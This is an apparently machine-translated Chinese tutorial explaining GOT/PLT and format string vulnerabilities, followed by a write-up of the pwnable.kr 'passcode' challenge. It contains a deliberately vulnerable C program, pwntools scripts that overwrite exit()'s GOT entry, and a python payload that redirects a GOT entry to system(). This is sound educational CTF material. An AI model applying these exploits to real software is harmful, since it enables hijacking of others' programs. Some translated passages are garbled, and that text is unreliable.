在本文中,我们将分析:什么是全局偏移量表,过程关系表及其通过格式字符串漏洞的重写。 我们还将从
pwnable.kr网站解决第五项任务。
组织信息特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:
- PWN;
- 密码学(加密);
- 网络技术(网络);
- 反向(反向工程);
- 隐写术(Stegano);
- 搜索和利用Web漏洞。
除此之外,我将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。
为了使您可以查找有关新文章,软件和其他信息的信息,我
在Telegram中创建了一个
频道,并创建了一个
小组来讨论 ICD领域中的
所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议,
并会回答所有人 。
提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。
全局偏移表和过程关系表
动态链接库在启动时或运行时从单独的文件加载到内存中。 因此,它们在内存中的地址不是固定的,以避免与其他库的内存冲突。 另外,ASLR安全机制将在引导时随机化每个模块的地址。
全局偏移表(GOT)-数据部分中存储的地址表。 它在运行时用于搜索在编译时未知的全局变量的地址。 该表在数据部分中,并非所有进程都使用。 代码部分引用的所有绝对地址都存储在此GOT表中。 代码部分使用相对偏移量访问这些绝对地址。 因此,即使进程库代码被加载到不同的内存地址空间中,它们也可以被进程共享。
过程链接表(PLT)包含用于调用其地址存储在GOT中的通用功能的跳转代码,即PLT包含用于存储来自GOT的数据地址(地址)的地址。
考虑一个例子的机制:
- 在程序代码中,调用外部函数printf。
- 控制流转到PLT中的第n条记录,并且转换发生在相对偏移而不是绝对地址处。
- 转到存储在GOT中的地址。 GOT表中存储的功能指针首先指向PLT代码段。
- 因此,如果第一次调用printf,则调用动态链接器转换器以获得目标函数的实际地址。
- 将printf地址写入GOT表,然后调用printf。
- 如果在代码中再次调用printf,则将不再调用解析器,因为printf的地址已存储在GOT中。

使用此延迟绑定时,不允许指向运行时未使用的函数的指针。 因此,它节省了很多时间。
为了使该机制起作用,文件中包含以下部分:
- .got-包含GOT条目;
- .lt-包含PLT的条目;
- .got.plt-包含地址关系GOT-PLT;
- .plt.got-包含地址关系PLT-GOT。
由于.got.plt节是一个指针数组,并且在程序执行期间被填充(即允许在其中写入),因此我们可以覆盖其中的一个并控制程序执行流程。
格式字符串
格式字符串是使用格式说明符的字符串。 格式说明符由符号“%”指示(要输入百分号,请使用序列“ %%”)。
pritntf(“output %s 123”, “str”); output str 123
最重要的格式说明符:
- d-十进制带符号数字,默认大小,sizeof(int);
- x和X是无符号十六进制数字,x使用小写字母(abcdef),X使用大写字母(ABCDEF),默认大小为sizeof(int);
- s-终止字节为零的行输出;
- n是出现包含n的命令序列时写入的字符数。
为什么可能存在格式字符串漏洞
此漏洞在于使用一种格式输出功能而不指定格式(如以下示例所示)。 因此,我们自己可以指定输出格式,从而可以从堆栈中读取值,并在指定特殊格式时可以写入内存。
在以下示例中考虑该漏洞:
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(){ char input[100]; printf("Start program!!!\n"); printf("Input: "); scanf("%s", &input); printf("\nYour input: "); printf(input); printf("\n"); exit(0); }
因此,下一行未指定输出格式。
printf(input);
编译程序。
gcc vuln1.c -o vuln -no-pie
我们通过输入包含格式说明符的行来查看堆栈上的值。

因此,在调用printf(输入)时,将触发以下调用:
printf(“%p-%p-%p-%p-%p“);
仍然需要了解程序显示的内容。 printf函数具有多个参数,它们是格式字符串的数据。
考虑一个带有以下参数的函数调用示例:
printf(“Number - %d, addres - %08x, string - %s”, a, &b, c);
调用此函数时,堆栈将如下所示。

因此,当检测到格式说明符时,该函数将检索堆栈的值。 同样,我们示例中的函数将从堆栈中检索5个值。

为了确认上述内容,我们在堆栈中找到了格式字符串。

从十六进制视图转换值时,我们得到字符串“%-p%AAAA”。 也就是说,我们能够从堆栈中获取值。
GOT覆盖
让我们检查一下通过格式字符串漏洞重写GOT的能力。 为此,让我们通过将exit()函数的地址重写为main的地址来循环我们的程序。 我们将使用pwntools覆盖。 创建初始布局并重复上一个条目。
from pwn import * from struct import * ex = process('./vuln') payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p" ex.sendline(payload) ex.interactive()

但是由于取决于输入字符串的大小,堆栈的内容将有所不同,因此我们将确保输入负载始终包含相同数量的输入字符。
payload = ("%p-%p-%p-%p"*5).ljust(64, ”*”)

payload = ("%p-%p-%p-%p").ljust(64, ”*”)

现在我们需要找出exit()函数的GOT地址和main函数的地址。 使用gdb可以找到主要地址。

可以使用gdb和objdump找到exit()的GOT地址。


objdump -R vuln

我们将在程序中写入这些地址。
main_addr = 0x401162 exit_addr = 0x404038
现在,您需要重写地址。 要将退出()函数的地址及其后的地址添加到堆栈中,即 *(出口())+ 1,依此类推。 您可以使用我们的负载添加它。
payload = ("%p-%p-%p-%p-"*5).ljust(64, "*") payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1)
运行并确定哪个帐户显示地址。

这些地址显示在位置14和15。您可以按以下方式在特定位置显示值。
payload = ("%14$p").ljust(64, "*")

我们将在两个块中重写地址。 首先,我们将打印4个值,以便我们的地址位于第2位和第4位。
payload = ("%p%14$p%p%15$p").ljust(64, "*")

现在,我们将main()的地址分为两个块:
0x401162
1)0x62 = 98(写入0x404038)
2)0x4011-0x62 = 16303(写入地址0x404039)
我们将它们编写如下:
payload = ("%98p%14$n%16303p%15$n").ljust(64, '*')
完整代码:
from pwn import * from struct import * start_addr = 0x401162 exit_addr = 0x404038 ex = process('./vuln') payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) ex.sendline(payload) ex.interactive()

因此,程序重新启动而不是终止。 我们重写了exit()地址。
密码作业解决方案
我们单击带有密码签名的第一个图标,然后被告知需要通过SSH与密码guest连接。

连接后,我们会看到相应的横幅。

让我们找出服务器上有哪些文件,以及我们拥有的权限。
ls -l

因此,我们可以读取程序的源代码,因为每个人都有读取的权利,并可以根据拥有者的权限(设置了粘性位)来执行密码程序。 让我们看看代码的结果。

login()函数出错。 在scanf()中,第二个参数不是传递变量&passcode1的地址,而是传递变量本身,并且不进行初始化。 由于该变量尚未初始化,因此它包含未执行的“垃圾”,这些垃圾在执行之前的指令后仍然保留。 也就是说,scanf()会将数字写入地址,这将是剩余数据。

因此,如果在调用登录函数之前,我们可以控制该存储区,则可以将任何数字写入任何地址(实际上是更改程序逻辑)。
由于login()函数在welcome()函数之后立即被调用,因此它们具有相同的堆栈帧地址。

让我们检查是否可以将数据写入将来的passcode1位置。 在gdb中打开程序,然后反汇编login()和welcome()函数。 由于在两种情况下scanf都有两个参数,因此变量的地址将首先传递给函数。 因此,密码1的地址为ebp-0x10,名称为ebp-0x70。


现在,让我们计算相对于名称的地址passcode1,前提是ebp值相同:
(&名称)-(&密码1)=(ebp-0x70)-(ebp-0x10)= -96
&密码1 ==&名称+ 96
也就是说,名称的最后4个字节-这是“垃圾”,将用作写入登录功能的地址。
在本文中,我们看到了如何通过重写GOT中的地址来更改应用程序的逻辑。 我们也在这里做。 由于scanf()之后是刷新,因此在GOT中此函数的地址处,我们编写指令的地址以调用system()函数以读取标志。



也就是说,在地址0x804a004处,您需要以十进制形式写入0x80485e3。
python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode

结果,我们得到10分,这是迄今为止最困难的任务。

本文的文件已附加到
Telegram频道 。 在以下文章中见!
我们在电报频道中:
Telegram中的
频道 。